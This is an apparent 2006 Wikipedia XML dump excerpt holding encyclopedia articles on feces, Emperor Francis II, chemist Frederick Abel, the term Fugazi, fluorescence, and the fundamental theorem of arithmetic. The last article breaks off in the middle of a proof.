'''Feces''' ([[American English]]) or '''fæces/faeces''' ([[Commonwealth English]]) are semi-solid waste products from an [[animal]] [[gastrointestinal tract|digestive tract]] expelled through the [[anus]] (or [[cloaca]]) during ''[[defecation]]''.  In humans, defecation may occur (depending on the individual and the circumstances) from once every two or three days to many times a day. Hardening of the feces may cause prolonged interruption in the usual routine and is called [[constipation]].

The word ''faeces'' is the plural of the [[Latin]] word ''faex'' meaning &quot;dregs&quot;. There is no singular form in the English language [http://www.medterms.com/script/main/art.asp?articlekey=3400].

The distinctive odor of feces is due to [[bacterial]] action. Bacteria produce compounds such as [[indole]], [[skatole]], and [[thiol]]s ([[sulfur]] containing compounds), as well as the inorganic gas [[hydrogen sulfide]]. These are the same compounds that are responsible for the odor of [[flatus]].

For scientists, feces can provide insight to an animal's diet. By carefully analyzing the consistency and odors of the feces, the scientist can understand the contents that comprise the scat. Then, a careful analysis can be conducted which reveals the creature's eating habits.

Feces are generally a [[taboo]] subject (see [[toilet humour]]). Scientists have long noted that many species hide or bury their feces, because the odor can attract predators and they are a likely means of transmitting parasites to genetic relatives, and these species often exhibit anxious behavior when their feces cannot be concealed. In humans, this phenomenon manifests itself in a stigma on feces.

The feces of animals is often used as [[fertilizer]]; see [[manure]].

==Related terminology==

[[Image:birdfecescar.jpg|thumb|right|200px|Pigeon feces can be messy and troublesome in urban communities.]]



Feces are also known as scat and [[scatology]] is the study of feces.  Informally, the word &quot;excrement&quot; has become synonymous with feces; a usage based upon the incorrect belief that feces are a product of [[excretion]]. The word ''[[shit]]'' is a vulgar term for feces in [[English language|English]].

Scat can be used to determine more than just diet in animals. DNA from sluffed off intestinal cells and metabolites from various hormones can be used to identify genetic differences and stress respectively.

[[Coprophagia]] is the practice of eating feces. This is unusual, but some [[herbivore|herbivores]] with a high-fiber/low-protein diet (such as [[rabbit]]s) eat their own feces as a normal part of [[metabolism]]. Plant matter the animal consumes is digested in two passes, with the product of the first pass being re-ingested directly from the anus. After the material is re-digested, the indigestible waste that remains is excreted and left alone.

[[Coprophilia]], also known as ''[[fecophilia]]'', is a [[sexual]] attraction to fecal matter.
[[Coprophobia]], also known as ''[[fecophobia]]'', is a strong fear of feces or human excrement in general.

Fossilized feces are known as [[coprolite]]s, and form an important class of objects studied in the field of [[paleontology]].

&lt;br clear=&quot;both&quot;&gt;

== Fecal contamination ==
[[Image:Dogs excrements can (prague).jpg|thumb|Container for dog excrement]]
A quick test for fecal contamination of water sources or soil is a check for the presence of ''[[E. coli]]'' [[bacteria]] performed with the help of [[McConkey agar]] plates or [[Petri dish]]es. ''E. coli'' bacteria uniquely develop red colonies at temperature of approximately 43 °C (110 °F) overnight.

While nearly all strains of ''E. coli'' are harmless, their presence is indicative of fecal contamination, and hence a high possibility of other, more dangerous organisms like [[hepatitis]].

==Human feces==
''Main article: [[Human feces]]''

[[Human]] fecal matter varies significantly in appearance, depending on [[diet (nutrition)|diet]] and [[health]]. Normally it is semisolid, with a [[mucus]] coating. Its brown colouration comes from a combination of [[bile]] and dead [[red blood cells]]. In newborn babies, fecal matter is initially yellow/green after the [[meconium]]. This colouration comes from the presence of bile alone. In time, as the body starts expelling excess dead red blood cells, it acquires its familiar brown appearance, unless the baby is breast feeding, in which case it remains soft, pale yellowish, and not-unpleasantly scented until the baby begins to eat significant amounts of other food. Throughout the life of an ordinary human, one may experience many types of feces. A &quot;green&quot; and sometimes &quot;clay-like&quot; appearance to the feces is a result in a lack of blood cells expelled. Bile overload is very rare, and not a health threat. Problems as simple as serious [[diarrhea]] can cause blood in one's stool, turning it black. Food may sometimes make an appearance in the feces. Common undigested foods found in human feces are seeds, nuts, corn, and beans, mainly because of their high fiber content.

==See also==
* [[Intestinal parasite]]
* [[A1 broth]]
* [[Manure]]
* [[Scatology]]
* [[Guano]]
* [[Shit]]

== External links and references ==
* [http://www.umanitoba.ca/faculties/medicine/units/biochem/coursenotes/blanchaer_tutorials/Frank_II/urobilinogen.html Short but detailed biological explanation of why feces are brown]
* [http://www.mcevoy.demon.co.uk/Medicine/Pathology/Biochem/Liver/Biochem.html Liver biochemistry]
* ''History of Shit'' by Dominique Laporte. ISBN 0262621606

[[Category:animal physiology]]
[[Category:Waste]]

[[bg:Изпражнения]]
[[da:Afføring]]
[[de:Kot]]
[[es:Heces]]
[[eo:Ekskremento]]
[[fa:مدفوع]]
[[fr:Matière fécale]]
[[io:Feko]]
[[it:Feci]]
[[he:צואה]]
[[lt:Išmatos]]
[[nl:Ontlasting]]
[[ja:糞]]
[[pl:Kał]]
[[pt:Fezes]]
[[ru:Кал]]
[[simple:Feces]]
[[fi:Uloste]]
[[sv:Avföring]]
[[zh:糞便]]</text>
    </revision>
  </page>
  <page>
    <title>Francis II, Holy Roman Emperor</title>
    <id>11551</id>
    <revision>
      <id>41358604</id>
      <timestamp>2006-02-26T21:05:17Z</timestamp>
      <contributor>
        <ip>213.156.59.199</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Francis I.jpg|thumb|250px|Francis I in Austrian coronation regalia, 1832]] 

'''Francis II, Holy Roman Emperor''' ([[German language|German]]: Franz II, Heiliger Roemischer Kaiser) also referred to as '''Francis von Habsburg''' or Emperor '''Franz I of Austria'''  ([[February 12]], [[1768]] &amp;ndash; [[March 2]], [[1835]]) was the last [[Holy Roman Empire|Holy Roman]] [[Emperor]], ruling from [[1792]] until [[August 6]], [[1806]], when the Empire was disbanded. He then became Francis I, first [[Emperor]] of [[Austria]] (ruling from [[1804]] to [[1835]]).

He was a son of [[Leopold II, Holy Roman Emperor|Leopold II of Austria]] (1747 &amp;ndash; 1792) and his wife Maria Luisa of [[Spain]] (1745 &amp;ndash; 1792).

As the leader of a large multi-ethnic empire, Francis felt threatened by [[Napoleon]]'s call for liberty and equality in [[Europe]]. Francis had a rocky relationship with [[France]]. His aunt [[Marie Antoinette]] died under the [[guillotine]] at the beginning of his reign. Later, he led Austria into the [[French Revolutionary Wars]] and was defeated by Napoleon. By the [[Treaty of Campo Formio]], he ceded the left bank of the [[Rhine]] to [[France]] in exchange for [[Venice]] and [[Dalmatia]]. He again fought against France during the [[Second Coalition]], and, after meeting crushing defeat at [[Battle of Austerlitz|Austerlitz]], agreed to the [[Treaty of Lunéville]], which dissolved the [[Holy Roman Empire]], weakening [[Austria]] and reorganizing [[Germany]] under a Napoleonic imprint.

In [[1809]], Francis attacked France again, hoping to take advantage of the conflict embroiling Napoleon in Spain. He was again defeated, and this time forced to ally himself with Napoleon, ceding territory to the Empire, joining the [[Continental System]], and wedding his daughter [[Marie Louise of Austria | Marie-Louise]] to the Emperor. Francis essentially became a vassal of the Emperor of France. The [[Napoleonic wars]] drastically weakened Austria and reduced its prestige, which would lead to [[Prussia]]'s acquiring the edge in the contest for dominance of Germany.

In [[1813]], for the fourth and final time, Austria turned against France and joined [[England]], [[Russia]], and [[Prussia]] in their war against Napoleon. Austria played a major role in the final defeat of France&amp;mdash;in recognition of this, Francis, represented by [[Clemens von Metternich]], presided over the [[Congress of Vienna]], helping to form the [[Concert of Europe]] and the [[Holy Alliance]], ushering in an era of [[conservatism]] and [[reactionism]] in Europe.

He married four times: 

First, on [[January 6]], [[1788]], to Elisabeth of [[Württemberg]] ([[April 21]], [[1767]] &amp;ndash; [[February 18]], [[1790]]), who died bearing a short-lived daughter, Ludovika ([[1790]]-[[1791]])

Secondly, on [[August 15]], [[1790]], to his first cousin Maria Theresa of the [[Two Sicilies]] ([[June 6]], [[1772]] &amp;ndash; [[April 13]], [[1807]]), daughter of King [[Ferdinand I of the Two Sicilies]], with whom he had twelve children, but only seven reached adulthood:
*[[Archduchess Marie Louise of Austria|Marie-Louise]], wife of [[Napoleon I of France|Napoleon Bonaparte]].
*[[Ferdinand I of Austria|Ferdinand I]], his successor.
*[[Maria Leopoldina, Archduchess of Austria|Maria Leopoldina]], who married [[Pedro I of Brazil]].
*Maria Clementina (1798-1881), who married her uncle Prince Leopoldo of the Two Sicilies (son of King [[Ferdinand I of the Two Sicilies]]).
*Marie Caroline (1801-1832), who married King [[Frederick Augustus II of Saxony|Friedrich August II of Saxony]].
*[[Archduke Franz Karl of Austria|Franz Karl]], whose son became Emperor [[Franz Joseph I of Austria]].
*Maria Anna (1804-1858).

[[Image:Francis II.jpg|thumb|left|Francis II]]
Thirdly, on [[January 6]], [[1808]], he married again to another first cousin, Maria Ludovika of Austria-Este ([[December 14]], [[1787]] &amp;ndash; [[April 7]], [[1816]]) with no issue. She was the daughter of [[Archduke Ferdinand Karl Anton Joseph Johann Stanislaus of Austria-Este|Archduke Ferdinand Karl of Austria]] and Maria Beatrice d'[[Este]], Princess of [[Modena]].

And lastly, on [[October 29]], [[1816]], to Karoline Charlotte Auguste of [[Bavaria]] ([[February 8]], [[1792]] &amp;ndash; [[February 9]], [[1873]]) with no issue. She was daughter of [[Maximilian I of Bavaria]] and had been previously married to [[William I of Württemberg]].

He is buried in tomb number 57 in the [[Imperial Crypt]] in Vienna, surrounded by his four wives.

After [[1806]] he used the titles: &quot;We, Francis the First, [[by the grace of God]] Emperor of Austria; [[Kings of Jerusalem|King of Jerusalem]], [[Hungary]], [[Bohemia]], [[Dalmatia]], [[Croatia]], [[Slavonia]], [[Galicia (Central Europe)|Galicia]], and [[Lodomeria]]; Archduke of [[Austria]]; Duke of [[Lorraine (province)|Lorraine]], [[Salzburg]], [[Würzburg]], [[Franconia]], [[Styria (duchy)|Styria]], [[Carinthia (duchy)|Carinthia]], and [[Carniola]]; Grand Duke of [[Kraków]]; Prince of [[Transylvania]]; Margrave of [[Moravia]]; Duke of [[Sandomir]], [[Masovia]], [[Lublin]], Upper and Lower [[Silesia]], [[Oswiecim|Auschwitz]] and [[Zator]], [[Teschen]], and [[Friuli-Venezia Giulia|Friule]]; Prince of [[Berchtesgaden]] and [[Mergentheim]]; Princely Count of Habsburg, [[Gorizia]], and [[Gradisca]] and of the [[Tyrol]]; and Margrave of Upper and Lower [[Lusatia]] and [[Istria]]&quot;.

Names in other languages: German: ''Franz II/I'', Czech: ''František I'', Slovak: ''František I'', Hungarian: ''I. Ferenc'', Italian: ''Francesco II/I'', Slovenian ''Franc''.

{{start box}}
|width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;4&quot;|Preceded by:&lt;br&gt;'''[[Leopold II, Holy Roman Emperor|Leopold II]]'''
|width=&quot;40%&quot; align=&quot;center&quot;|'''[[Holy Roman Emperor]]&lt;br&gt;Also [[King of Germany]]'''&lt;br&gt;[[1792]]-[[1806]]
|width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;2&quot;|Succeeded by:&lt;br&gt;'''Holy Roman Empire ends''' - replaced by [[Emperor of Austria]]
|-
|width=&quot;40%&quot; align=&quot;center&quot;|'''[[List of rulers of Austria|Archduke of Austria]]'''&lt;br&gt;[[1792]]-[[1804]]
|-
|width=&quot;40%&quot; align=&quot;center&quot;|'''[[King of Hungary]]'''&lt;br&gt;1792-1835
|width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;3&quot;|Succeeded by:&lt;br&gt;'''[[Ferdinand I of Austria|Ferdinand I]]'''
|-
|width=&quot;40%&quot; align=&quot;center&quot;|'''[[King of Bohemia]]'''&lt;br&gt;[[1792]]-[[1835]]
|-
|width=&quot;30%&quot; align=&quot;center&quot;|'''&amp;mdash;'''
|width=&quot;40%&quot; align=&quot;center&quot;|'''[[List of rulers of Austria|Emperor of Austria]]'''&lt;br&gt;[[1804]]-[[1835]]
{{end box}}

== External links ==
{{commons|Franz II.|Emperor Franz I. of Austria}}
{{Wikiquote|de:Franz I. von Österreich|Emperor Franz I. of Austria)}}
{{Wikisource|de:Franz II. (HRR)|Emperor Franz I. of Austria}}

[[Category:Holy Roman emperors]]
[[Category:German Kings]]
[[Category:Emperors of Austria]]
[[Category:Hungarian monarchs]]
[[Category:Bohemian monarchs]]
[[Category:Dukes of Milan]]
[[Category:Knights of the Garter]]
[[Category:1768 births|Francis II, Holy Roman Emperor]]
[[Category:1835 deaths|Francis II, Holy Roman Emperor]]

[[cs:František I.]]
[[da:Frans 2. (Tysk-romerske rige)]]
[[de:Franz II. (HRR)]]
[[et:Franz II Joseph Karl (Saksa-Rooma keiser)]]
[[es:Francisco I de Austria]]
[[eo:Francisko la 2-a Jozefo Karlo]]
[[fr:François Ier d'Autriche]]
[[it:Francesco II del Sacro Romano Impero]]
[[hu:I. Ferenc]]
[[nl:Frans II van het Heilige Roomse Rijk]]
[[ja:フランツ2世 (神聖ローマ皇帝)]]
[[no:Frans II av det tysk-romerske rike]]
[[pl:Franciszek II Habsburg]]
[[ru:Франц II]]
[[fi:Frans II (keisari)]]
[[zh:弗朗茨二世 (神圣罗马帝国)]]</text>
    </revision>
  </page>
  <page>
    <title>Frederick Augustus Abel</title>
    <id>11552</id>
    <revision>
      <id>35455549</id>
      <timestamp>2006-01-16T22:09:59Z</timestamp>
      <contributor>
        <username>Jcbarr</username>
        <id>482173</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">[[Image:Frederick Augustus Abel.jpg|right|250px|Frederick Augustus Abel]]

'''Sir Frederick Augustus Abel, 1st Baronet''' ([[17 July]] [[1827]]&amp;ndash;[[6 September]] [[1902]]) was an [[England|English]] [[chemist]].

Born in [[London]], Abel studied chemistry for six years under [[A. W. von Hofmann]] at the [[Royal College of Chemistry]], then became professor of chemistry at the [[Royal Military Academy]] in [[1851]], and three years later was appointed chemist to the [[War Department (UK)|War Department]] and chemical referee to the government. During his tenure of this office, which lasted until [[1888]], he carried out a large amount of work in connection with the chemistry of [[explosive]]s.  One of the most important of his investigations had to do with the manufacture of [[guncotton]], and he developed a process, consisting essentially of reducing the nitrated cotton to fine pulp, which enabled it to be safely manufactured and at the same time yielded the product in a form that increased its usefulness.

This work to an important extent prepared the way for the &quot;[[smokeless powder]]s&quot; which came into general use towards the end of the [[19th century]]; [[cordite]], the type adopted by the British government in [[1891]], was invented jointly by him and Sir [[James Dewar]].  He and Dewar were unsuccessfully sued by [[Alfred Nobel]] over infringement of Nobel's [[patent]] for a similar explosive called [[ballistite]], the case finally being resolved in the [[House of Lords]] in [[1895]]. He also extensively researched the behaviour of [[black powder]] when ignited, with the [[Scotland|Scottish]] [[physicist]] Sir [[Andrew Noble]].  

At the request of the [[British government]], he devised the [[Abel test]], a means of determining the [[flash point]] of [[petroleum]] products.  His first instrument, the open-test apparatus, was specified in an [[Act of Parliament]] in [[1868]] for officially specifying [[petroleum]] products. It was superseded in August [[1879]] by the much more reliable Abel close-test instrument.  

In [[electricity]] Abel studied the construction of electrical [[Fuse (electrical)|fuse]]s and other applications of electricity to warlike purposes, and his work on problems of [[steel]] manufacture won him in [[1897]] the [[Bessemer medal]] of the [[Iron and Steel Institute]], of which from 1891 to [[1893]] he was president.  He was president of the [[Institution of Electrical Engineers]] (then the Society of Telegraph Engineers) in 1877.  He became a member of the [[Royal Society]] in [[1860]], and received a royal medal in [[1887]].  He took an important part in the work of the Inventions Exhibition (London) in 1885, and in 1887 became organizing secretary and first director of the [[Imperial College London|Imperial Institute]], a position he held till his death in 1902.  He was knighted in 1891, and created a [[baronet]] in [[1893]]. 

== Books ==
* ''Handbook of Chemistry'' (with C. L. Bloxam)
* ''Modern History of Gunpowder'' ([[1866]])
* ''Gun-cotton'' (1866)
* ''On Explosive Agents'' ([[1872]])
* ''Researches in Explosives'' ([[1875]])
* ''Electricity applied to Explosive Purposes'' ([[1884]])

He also wrote several important articles in the ninth edition of the [[Encyclopædia Britannica]].

{{Wikisource1911Enc|Abel, Sir Frederick Augustus, Bart.}}
{{1911}}

[[Category:Baronets in the Baronetage of the United Kingdom|Abel, Frederick Augustus]]
[[Category:Fellows of the Royal Society|Abel, Frederick Augustus]]
[[Category:English chemists|Abel, Frederick Augustus]]
[[Category:1827 births|Abel, Frederick Augustus]]
[[Category:1902 deaths|Abel, Frederick Augustus]]
[[Category:People associated with Imperial College London|Abel, Frederick Augustus]]

[[de:Frederick Augustus Abel]]
[[nl:Frederick Augustus Abel]]
[[ja:フレデリック・エイベル]]
[[ru:Абель, Фредерик Август]]
[[sv:Frederick Abel]]</text>
    </revision>
  </page>
  <page>
    <title>Fugazi</title>
    <id>11554</id>
    <revision>
      <id>41297927</id>
      <timestamp>2006-02-26T10:30:56Z</timestamp>
      <contributor>
        <username>Pictureuploader</username>
        <id>183121</id>
      </contributor>
      <text xml:space="preserve">'''Fugazi''' may mean:

* Slang version of &quot;Fugacious&quot; derived from Latin fugax,fugac-,meaning &quot;ready to flee, flying; hence, fleeting, transitory,&quot; 
** This resulted to the [[backronym]] &quot;Fucked Up, Got Ambushed, Zipped In&quot;,  a U.S. Army slang from the Vietnam war era, meaning chaotic, out-of-control fighting, especially in jungle warfare. (Similar to [[Snafu]])
* an Italian surname, sometimes spelled Fugazzi.
*[[Fugazi (band)]], a punk band from Washington, D.C.
*''[[Fugazi (album)]]'', a 1984 studio album of the progressive rock band [[Marillion]], featuring a song also named Fugazi.
*'''[[Fugazi (WWII)]]''', Japanese [[deserters]] during World War II.
* [[Fugazzi College]], now part of [[National College of Business &amp; Technology]]
[[de:Fugazi]]
[[it:Fugazi (disambigua)]]
[[nl:Fugazi]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Fluorescence</title>
    <id>11555</id>
    <revision>
      <id>42125128</id>
      <timestamp>2006-03-04T00:03:25Z</timestamp>
      <contributor>
        <username>Mexaguil</username>
        <id>217002</id>
      </contributor>
      <minor />
      <comment>merged Organic liquids, and made it a section</comment>
      <text xml:space="preserve">[[Image:Fluorescence_in_various_sized_CdSe_quantum_dots.png|thumb|right|395px|Fluorescence induced by exposure to [[ultraviolet]] light in  vials containing various sized [[Cadmium selenide]] (CdSe) [[quantum dot]]s.]]
[[Image:Fluorit_uv_hg.jpg|thumb|Fluorite under white (left) and shortwave UV-Light (right)]]
'''Fluorescence''' is a [[luminescence]] that&lt;!--&quot;which&quot; is INCORRECT, for a distinction is to be made in the various types of luminescence--&gt; is mostly found as an [[optical phenomenon]] in cold bodies, in which a molecule absorbs a high-energy [[photon]], and re-emits it as a lower-energy photon with a longer [[wavelength]]. The energy difference between the absorbed and emitted photons ends up as molecular [[kinetic energy|vibrations]] or [[heat]]. Usually the absorbed photon is in the [[ultraviolet]], and the emitted [[light]] is in the visible range, but this depends on the absorbance curve and [[Stokes shift]] of the particular [[fluorophore]]. Fluorescence is named after the [[mineral]] [[fluorite]], composed of [[calcium fluoride]], which exhibits this phenomenon.

==Equation==

:&lt;math&gt;S_1 \to S_2 + h \nu&lt;/math&gt;

This means that the system starts in state &lt;math&gt;S_1&lt;/math&gt;, and after the fluorescent emission of a photon with energy &lt;math&gt;h \nu&lt;/math&gt;, it is in state &lt;math&gt;S_2&lt;/math&gt; where:

''h'' = [[Planck's constant]]  and

&lt;math&gt;\nu&lt;/math&gt; = [[frequency]] of the fluorescing light

==Rules==
There are several [[law (principle)|rules]] that deal with fluorescence. The ''Kasha–Vavilov rule'' dictates that the quantum yield of luminescence is independent of the wavelength of exciting radiation.

This is not quite true and is violated severely in many simple molecules. A somewhat more reliable statement, although still with exceptions, would be that the fluorescence spectrum shows very little dependence on the wavelength of exciting radiation.

The ''[[Jablonski diagram]]'' describes most of the relaxation mechanism for excited state molecules.

==Applications==
There are many natural and synthetic compounds that exhibit fluorescence, and they have a number of applications:

===[[Lighting]]===
The common [[fluorescent lamp|fluorescent tube]] relies on fluorescence. Inside the glass tube is a partial vacuum and a small amount of mercury. An electric discharge in the tube causes the mercury atoms to emit light. The emitted light is in the [[ultraviolet]] (UV) range and is invisible, and also harmful to living organisms, so the tube is lined with a coating of a fluorescent material, called the ''[[phosphor]]'', which absorbs the ultraviolet and re-emits visible light.

Recently, &quot;white [[light-emitting diode]]s&quot; (&quot;white LEDs&quot;) have become available, which work through a similar process. Typically, the actual light-emitting [[semiconductor]] produces light in the blue part of the spectrum, which strikes a phosphor compound deposited on a reflector; the phosphor fluoresces in the orange part of the spectrum, the combination of the two colors producing a net effect of apparently white light.

Compact fluorescent lighting (CFL) is the same as any typical fluorescent lamp with advantages. It is self-ballasted and used to replace incandescents in most applications. They are highly efficient with high CRI and good color temp index rating.

The modern [[mercury vapor]] [[streetlight]] is said to have been evolved from the fluorescent lamp.

===Biochemistry and medicine===
There is a wide range of applications for fluorescence in this field. Large biological molecules can have a fluorescent chemical group attached by a chemical reaction, and the fluorescence of the attached tag enables very sensitive detection of the molecule. 
Examples:
* automated sequencing of [[DNA]] by the [[chain termination method]]; each of four different chain terminating bases has its own specific fluorescent tag. As the labeled DNA molecules are separated, the fluorescent label is excited by a UV source, and the identity of the base terminating the molecule is identified by the wavelength  of the emitted light.
* DNA detection: the compound [[ethidium bromide]], when free to change its conformation in solution, has very little fluorescence. Ethidium bromide's fluorescence is greatly enhanced when it binds to DNA, so this compound is very useful in visualising the location of DNA fragments in [[agarose gel electrophoresis]] 
* The [[DNA microarray]]
* Immunology: An antibody has a fluorescent chemical group attached, and the sites (e.g., on a microscopic specimen) where the antibody has bound can be seen, and even quantified, by the fluorescence.
* FACS ([[fluorescent-activated cell sorting]])
* Fluorescence has been used to study the structure and conformations of DNA and proteins with techniques such as [[Fluorescence resonance energy transfer]].  This is especially important in complexes of multiple biomolecules.
* Aequorin, from the jellyfish ''[[Aequorea victoria]]'', produces a blue glow in the presence of Ca&lt;sup&gt;2+&lt;/sup&gt; ions (by a chemical reaction). It has been used to image calcium flow in cells in real time. The success with aequorin spurred further investigation of ''A. victoria'' and led to the discovery of [[Green Fluorescent Protein]] (GFP), which has become an extremely important research tool. GFP and related proteins are used as reporters for any number of biological events including such things as sub-cellular localization. Levels of gene expression are sometimes measured by linking a gene for GFP production to another gene.

Also, many biological molecules have an intrinsic fluorescence that can sometimes be used without the need to attach a chemical tag. Sometimes this intrinsic fluorescence changes when the molecule is in a specific environment, so the distribution or binding of the molecule can be measured. [[Bilirubin]], for instance, is highly fluorescent when bound to a specific site on serum albumin. Zinc [[protoporphyrin]], formed in developing red blood cells instead of hemoglobin when iron is unavailable or lead is present, has a bright fluorescence and can be used to detect these problems.

===Gemology, mineralogy and forensics===
[[Image:Fluorescent_minerals_hg.jpg|thumb|300px|right|Fluorescent Minerals]]
[[Gemstone]]s, [[mineral]]s, [[fiber]]s and many other materials which may be encountered in [[forensics]] or with a relationship to various [[collectible]]s may have a distinctive fluorescence or may fluoresce differently under short-wave ultraviolet, long-wave ultra violet, or [[X-ray]]s.

Many types of calcite will fluoresce under shortwave UV.

[[Ruby|Rubies]], [[emerald]]s, and the [[Hope Diamond]] exhibit red fluorescence under short-wave UV light; diamonds also emit light under [[X ray]] radiation.

==Organic liquids==
Organic liquids such as mixtures of [[anthracene]] in [[benzene]] or [[toluol]], or [[stilbene]] in the same [[solvent]]s, [[fluoresce]] with [[ultraviolet]] or [[gamma ray]] [[irradiation]]. The decay times of this fluorescence is of the order of nanoseconds since the duration of the light depends on the lifetime of the excited states of the fluorescent material, in this case anthracene or stilbene.    

==See also==
* [[Phosphorescence]]
* [[Laser-induced fluorescence]]

==External links==
* [http://home.howstuffworks.com/fluorescent-lamp.htm How Fluorescent Lamps Work]
* [http://www.shsu.edu/~chemistry/chemiluminescence/JABLONSKI.html Jablonski diagram]
* [http://scienceworld.wolfram.com/physics/Fluorescence.html Fluorescence on Scienceworld]
* [http://micro.magnet.fsu.edu/primer/techniques/fluorescence/fluorescenceintro.html Basic Concepts in Fluorescence]
* [http://johnbokma.com/pet/scorpion/detection-using-uv-leds.html Scorpion detection using UV LEDs]
* [http://www.confocal-microscopy.org/Protocols%20-%20Immunofluorescence.htm Immunofluorescence Protocol]
* [http://www.probes.com/handbook/ Handbook on fluorescent probes used in biology] from the company [[Molecular Probes]]

[[Category:Luminescence]]

[[de:Fluoreszenz]]
[[es:Fluorescencia]]
[[fr:Fluorescence]]
[[it:Fluorescenza]]
[[he:קרינה פלואורסנטית]]
[[nl:Fluorescentie]]
[[ja:蛍光]]
[[pl:Fluorescencja]]
[[pt:Fluorescência]]
[[zh:荧光]]</text>
    </revision>
  </page>
  <page>
    <title>Fundamental theorem of arithmetic</title>
    <id>11556</id>
    <revision>
      <id>39743707</id>
      <timestamp>2006-02-15T15:38:34Z</timestamp>
      <contributor>
        <username>Cikicdragan</username>
        <id>843227</id>
      </contributor>
      <text xml:space="preserve">In [[mathematics]], and in particular [[number theory]], the '''fundamental theorem of arithmetic''' or '''unique factorization theorem''' is the statement that every [[natural number]] greater than 1 is either a [[prime number]] or can be written as a product of [[prime number]]s. Furthermore this [[factorization]] is unique except for the order. For instance, we can write

:* &lt;math&gt;6936 = 2^3 \cdot 3 \cdot 17^2&lt;/math&gt;

:* &lt;math&gt;1200 = 2^4 \cdot 3 \cdot 5^2&lt;/math&gt;

and there are no other possible [[factorization]]s of 6936 or 1200 into prime numbers, if we ignore the ordering of the factors.

To make the theorem work even for the number 1, we can think of 1 as being the product of zero prime numbers (see [[empty product]]).

==Applications==

The theorem establishes the importance of prime numbers. The prime numbers are the basic building blocks of the positive integers, in the sense that every positive integer can be constructed from primes, and there is essentially only one such construction.

Knowing the prime number factorization of a number gives complete knowledge about all (prime and non-prime) divisors of that number.

For example, the above factorization of 6936 tells us that any positive divisor of 6936 must have the form 2&lt;sup&gt;a&lt;/sup&gt;&lt;math&gt;\cdot&lt;/math&gt;3&lt;sup&gt;b&lt;/sup&gt;&lt;math&gt;\cdot&lt;/math&gt;17&lt;sup&gt;c&lt;/sup&gt;, where ''a'' takes one of the '''4''' values in {0,&amp;nbsp;1,&amp;nbsp;2,&amp;nbsp;3}, where ''b'' takes one of the '''2''' values in {0,&amp;nbsp;1}, and where ''c'' takes one of the '''3''' values in {0,&amp;nbsp;1,&amp;nbsp;2}.  Multiplying the numbers of independent options together produces a total of 4&lt;math&gt;\cdot&lt;/math&gt;2&lt;math&gt;\cdot&lt;/math&gt;3 = 24 positive divisors.

Once the prime factorizations of two numbers are known, their [[greatest common divisor]] and [[least common multiple]] can be found quickly. For instance, from the above we see that the greatest common divisor of 6936 and 1200 is 2&lt;sup&gt;3&lt;/sup&gt;&lt;math&gt;\cdot&lt;/math&gt;
3 = 24.  However if the prime factorizations are not known, the use of the [[Euclidean algorithm]] generally requires much less calculation than factoring the two numbers.

The fundamental theorem ensures that [[additive function|additive]] and [[multiplicative function|multiplicative]] [[arithmetic function]]s are completely determined by their values on the powers of prime numbers.

== Proof ==

The theorem was essentially first proved by [[Euclid]], but the first full and correct proof is found in the [[Disquisitiones Arithmeticae]] by [[Carl Friedrich Gauß]].

Although at first sight it seems 'obvious', it does ''not'' hold in more general number systems, including many rings of [[algebraic integers]]. This was first pointed out by [[Ernst Kummer]] in 1843, in his work on [[Fermat's last theorem]]. The recognition of this failure is one of the earliest developments in [[algebraic number theory]].

The proof consists of two parts: first, we have to show that every number can indeed be written as a product of primes; then we have to show that any two such representations are essentially the same.

Suppose there were a positive integer which cannot be written as a product of primes. Then [[well-order|there must be a smallest such number]]: let's call it ''n''. This number ''n'' cannot be 1, because of our convention above. It cannot be a prime number either, since any prime number is a product of a single prime, itself. So it must be a composite number. Thus 

:''n'' = ''ab'' 

where both ''a'' and ''b'' are positive integers smaller than ''n''. Since ''n'' was the smallest number for which the theorem fails, both ''a'' and ''b'' can be written as products of primes. But then 

:''n'' = ''ab'' 

can be written as a product of primes as well, a [[Contradiction#Proof_by_contradiction|contradiction]]. This is a [[minimal counterexample]] argument.

The uniqueness part of the proof hinges on the following fact: if a prime number ''p'' divides a product ''ab'', then it divides ''a'' or it divides ''b'' ([[Euclid's lemma]]). This is a [[lemma (mathematics)|lemma]], to prove first. For that, if ''p'' doesn't divide ''a'', then ''p'' and ''a'' are [[coprime]] and [[Bézout's identity]] yields integers ''x'' and ''y'' such that 

:''px'' + ''ay'' = 1. 

Multiplying with ''b'' yields 

:''pbx'' + ''aby'' = ''b'', 

and since both summands on the left-hand side are divisible by ''p'', the right-hand side is also divisible by ''p''. That proves the lemma. 

Now take two products of primes which are equal. Take any prime ''p'' from the first product. It divides the first product, and hence also the second. By the above fact, ''p'' must then divide at least one factor in the second product. But the factors are all primes themselves, so ''p'' must actually be equal to one of the factors of the second product. So we can cancel ''p'' from both products. Continuing in this fashion, we eventually see that the prime factors of the two products must match up precisely.

''[[Aliter]]:

Another proof of the uniqueness of the prime factorization of a given integer uses [[infinite descent]]: Assume that a certain integer ''can'' be written as (at least) two different [[product (mathematics)|products]]  of prime numbers, then there must exist a smallest integer ''s'' with such a property. Call the two products of ''s'' ''p''&lt;sub&gt;1&lt;/sub&gt; ... ''p''&lt;sub&gt;''m''&lt;/sub&gt; and ''q''&lt;sub&gt;1&lt;/sub&gt; ... ''q''&lt;sub&gt;''n''&lt;/sub&gt;. No ''p&lt;sub&gt;i&lt;/sub&gt;'' (with 1 &amp;le; ''i'' &amp;le; ''m'') can be equal to any ''q&lt;sub&gt;j&lt;/sub&gt;'' (with 1 &amp;le; ''j'' &amp;le; ''n''), as there would otherwise be a smaller integer factorizable in two ways (by removing prime factors common in both products) violating our assumption. We can now assume [[without loss of generality]] that ''p''&lt;sub&gt;1&lt;/sub&gt; is a prime factor smaller than any ''q&lt;sub&gt;j&lt;/sub&gt;'' (with 1 &amp;le; ''j'' &amp;le; ''n''). Take ''q''&lt;sub&gt;1&lt;/sub&gt;. Then there exist integers ''d'' and ''r'' such that

:''q''&lt;sub&gt;1&lt;/sub&gt;/''p''&lt;sub&gt;1&lt;/sub&gt; = ''d'' + ''r''/''p''&lt;sub&gt;1&lt;/sub&gt;

